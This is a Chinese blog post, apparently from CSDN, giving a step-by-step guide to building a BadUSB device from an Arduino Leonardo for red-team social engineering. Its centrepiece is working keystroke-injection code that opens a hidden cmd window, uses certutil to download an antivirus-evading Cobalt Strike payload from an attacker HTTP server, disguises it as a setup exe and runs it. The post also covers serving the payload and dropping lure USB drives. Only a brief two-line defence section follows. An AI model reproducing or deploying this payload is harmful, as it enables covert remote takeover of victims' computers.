红队社工之BadUSB

本文详细介绍了BadUSB的概念、攻击方式和制作过程,包括如何利用ArduinoIDE制作BadUSB设备,实现远程控制目标机器。同时,针对目标机器默认中文输入法的问题,提出了模拟大写锁定键的解决方案。此外,还展示了如何生成并使用CS免杀马,并给出了防御BadUSB攻击的建议,如避免使用未知USB设备和使用安全软件。
摘要由CSDN通过智能技术生成

什么是BadUSB

BadUSB最早是在2014年的黑帽大会上研究人员JakobLell和Karsten Nohl提出并展示的。不同于老式的U盘病毒,它利用了USB协议中的一个漏洞,通过模拟键盘、鼠标、网卡等从而让目标电脑执行恶意代码,达到控住主机或者窃取敏感信息等目的。由于恶意代码位于U盘中的固件中,所以杀软无法访问和查杀U盘固件区域,但是如果恶意代码落盘或者恶意行为可以被监控或拦截。

BadUSB攻击方式

1.物理入侵,简单点找一些未锁屏的办公电脑挨个插入。2.U盘钓鱼,通过伪装成一个普通移动U盘撒向目标范围内引起目标注意。3.摆渡攻击,通常是攻击局域网内部系统,当再次插入互联网设备中敏感信息被传输。

制作BadUSB

准备开发板:(淘宝上搞一个)

2.准备开发环境:下载Ardiuno IDE

下载地址:https://cloud.codess-nas.top:5213/s/ApT2?path=%2F
在这里插入图片描述

安装成功后,打开工具 工具——开发板——开发板管理器
在这里插入图片描述

搜索Arduino AVR Boards板子进行安装
在这里插入图片描述

制作不同的badusb要安装不同的开发板模块 我们制作的是Leonardo,所以选中leonardo开发板,进行安装即可
在这里插入图片描述

选择开发版为:"Arduino leonardo 编程器:AVRISP MKLL

选择对应的端口连接

我的电脑管理——设备管理中会出现一个端口
在这里插入图片描述

在这里插入图片描述

作用

可制作蓝屏、远控、硬件烧毁…

本次实现:cs远控

目标机器默认中文输入法

在实际利用情况下,如果目标默认使用的是中文输入法,当插入badusb模拟键盘输入时,会影响正常输入。比如输入-w hidden,实际输出为-我hidden
在这里插入图片描述

解决方法

模拟KEY_CAPS_LOCK按键,在默认使用中英文输入法时都适用,唯一不适应的情况是对方默认使用中文输入法且开启了大写输入。

cs免杀马

使用在线工具库生成cs免杀马

将cs免杀马上传到服务器上,开启http服务,供后面下载使用。

3.x>Python >= 2.4 开启http服务

python -m SimpleHTTPServer 9899

图片

键盘操作流程

首先按下win+r键,打开cmd,下载放在服务器上的免杀马(http://xxx.xxx.xxx:9899/shell.exe),执行免杀马,cs上线。

编译烧录

把代码编译烧录到badusb

#include<Keyboard.h>

void setup() {//初始化
  Keyboard.begin();//开始键盘通讯 
  delay(5000);//延时
  Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题
  Keyboard.release(KEY_CAPS_LOCK); //释放大写键
  delay(200);
  Keyboard.press(KEY_LEFT_GUI);//win键 
  delay(200); 
  Keyboard.press('r');//r键 
  delay(200); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  Keyboard.println("cmd /t:01 /k @echo off && mode con:cols=15 lines=1");
  delay(200); 
  Keyboard.println("certutil -urlcache -split -f http://xxx.xxx.xxx:9899/shell.exe C:\\setup_11.5.0.exe");  //下载shell到本地,重命名
  delay(1000);
  delay(1000);
  Keyboard.println("c:\\setup_11.5.0.exe");
  delay(500);
  Keyboard.println("c:\\setup_11.5.0.exe");
  delay(500);
  Keyboard.println("exit");
  delay(500);
  Keyboard.press(KEY_CAPS_LOCK); //按下大写键
  Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键
  delay(400);
  Keyboard.end();//结束键盘通讯 
}
void loop()//循环
{
}

图片
点击✅,输出没有报错,我们直接点击➡️烧录进badusb即可制作成功就可以愉快的玩耍了

插谁谁上线,这里仅展示几张成功上线的图片
在这里插入图片描述

配合server酱非常好用
在这里插入图片描述

防御措施

1.不插陌生的USB设备。2.使用360的SecUSB或者腾讯的SecLine。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值